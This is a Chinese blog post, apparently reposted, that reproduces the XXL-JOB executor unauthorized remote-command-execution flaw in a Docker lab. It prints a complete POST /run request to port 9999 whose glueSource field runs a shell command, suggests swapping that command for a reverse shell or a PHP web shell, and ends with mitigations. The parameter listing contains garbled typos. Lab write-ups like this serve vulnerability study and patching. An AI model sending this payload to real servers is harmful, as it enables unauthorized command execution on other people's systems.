iis服务器助手广告
返回顶部
首页 > 资讯 > 后端开发 > JAVA >XXL-JOB executor 未授权访问漏洞
  • 609
分享到

XXL-JOB executor 未授权访问漏洞

java开发语言安全 2023-10-02 06:10:04 609人浏览 独家记忆
摘要

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。

XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。

漏洞影响版本:<=2.2.0    

executor默认没有配置认证,未授权的攻击者可以通过RESTful API接口执行任意命令。

此漏洞为Xxljob配置不当情况下反序列化RCE

XxlJob<=2.1.2,需要利用Hessian触发。

XxlJob >= 2.2.0 会支持RESTFUL API,直接打公开的POC过去即可。

在官方文档的执行器配置文件中说到端口号在默认情况下是9999

---------------------------------------------------------------------------------------------------------------------------------

漏洞复现

Docker-compose up -d 

下载并启动环境后,访问 Http://ip:8080可以看到管理端,访问http://ip:9999可以看到客户端

通过burp抓包,获取客户端的数据包,将该数据包替换成以下数据包

POST /run HTTP/1.1Host: 172.16.102.66:9999Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWEBKit/537.36 (Khtml, like Gecko) Chrome/80.0.3987.132 Safari/537.36Connection: closeContent-Type: application/JSONContent-Length: 377{  "jobId": 1,  "executorHandler": "demoJobHandler",  "executorParams": "demoJobHandler",  "executorBlockStrategy": "COVER_EARLY",  "executorTimeout": 0,  "logId": 1,  "logDateTime": 1586629003729,  "glueType": "GLUE_shell",  "glueSource": "touch /tmp/NoBodyCanFuckWithMe",  "glueUpdatetime": 1586699003758,  "broadcastIndex": 0,  "broadcastTotal": 0}

 这是参数的意思

"jobId":1,   //任务ID"executorHandler":"demoobHandler",     //任务标识"executorParams":;"demo3obHandler",    //任务参数"executorB1ockstrategy":"cOVER_EARLY", //任务阻塞策略,可选值参考com.xx1.job.core.enums.ExecutorB1ockstrategyEnum"executorTimeout":o,                 //任务超时时间,单位秒,大于零时生效"logId":1,                           //本次调度日志ID"logDateTime ":1586629003729,       //本次调度日志时间"glueType":"BEAN",         //任务模式,可选值参考com.xx1.job.core.glue.alueTypeEnum"gluesource":"xxx",               //GLUE脚本代码"glueupdatetime":1586629003727,     /GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新"broadcastIndex" : 0,              //分片参数:当前分片"broadcastTota7":o                  //分片参数:总分片

然后去验证一下

 进入/tmp目录,查看

 发现存在我们刚刚创建的文件

漏洞复现完成

---------------------------------------------------------------------------------------------------------------------------------

实验过程出现的问题

①直接进入会出现一些页面报错

 这个问题应该是无伤大雅,不影响正常使用,直接抓客户端的包然后送到repeater即可

②进入虚拟容器命令

进入虚拟容器时,官方在目录下给的图片提示中用的命令是 docker-compose.exe exec executor bash然而这个命令我因为没有下载 docker-compose.exe用不了

最后在网上到处搜资料,发现使用docker-compose exec executor bash也是可以的

---------------------------------------------------------------------------------------------------------------------------------

拓展思考

在我们发送的数据包中,有这样一条指令

"glueSource": "touch /tmp/NoBodyCanFuckWithMe"

这一条代表的是执行我们需要执行的命令的参数(这里用的是生成一个文件的指令)

要想进一步利用这个漏洞

可以将命令替换成反弹Shell

或者

能否生成一个含有一句话木马的PHP文件,然后通过工具来连接呢

---------------------------------------------------------------------------------------------------------------------------------

修复办法

针对该问题,现提供几种安全防护策略。

  • 开启 XXL-JOB 自带的鉴权组件:官方文档中搜索 “xxl.job.accessToken” ,按照文档说明启用即可。

  • 端口防护:及时更换默认的执行器端口,不建议直接将默认的9999端口开放到公网。

  • 端口访问限制:通过配置安全组限制只允许指定IP才能访问执行器9999端

---------------------------------------------------------------------------------------------------------------------------------

(如果文章内容有误,麻烦大佬们指点,我会及时改正,如果帮助到了您,麻烦点个赞呗)

来源地址:https://blog.csdn.net/qq_59201520/article/details/129816447

--结束END--

本文标题: XXL-JOB executor 未授权访问漏洞

本文链接: https://www.lsjlt.com/news/422518.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作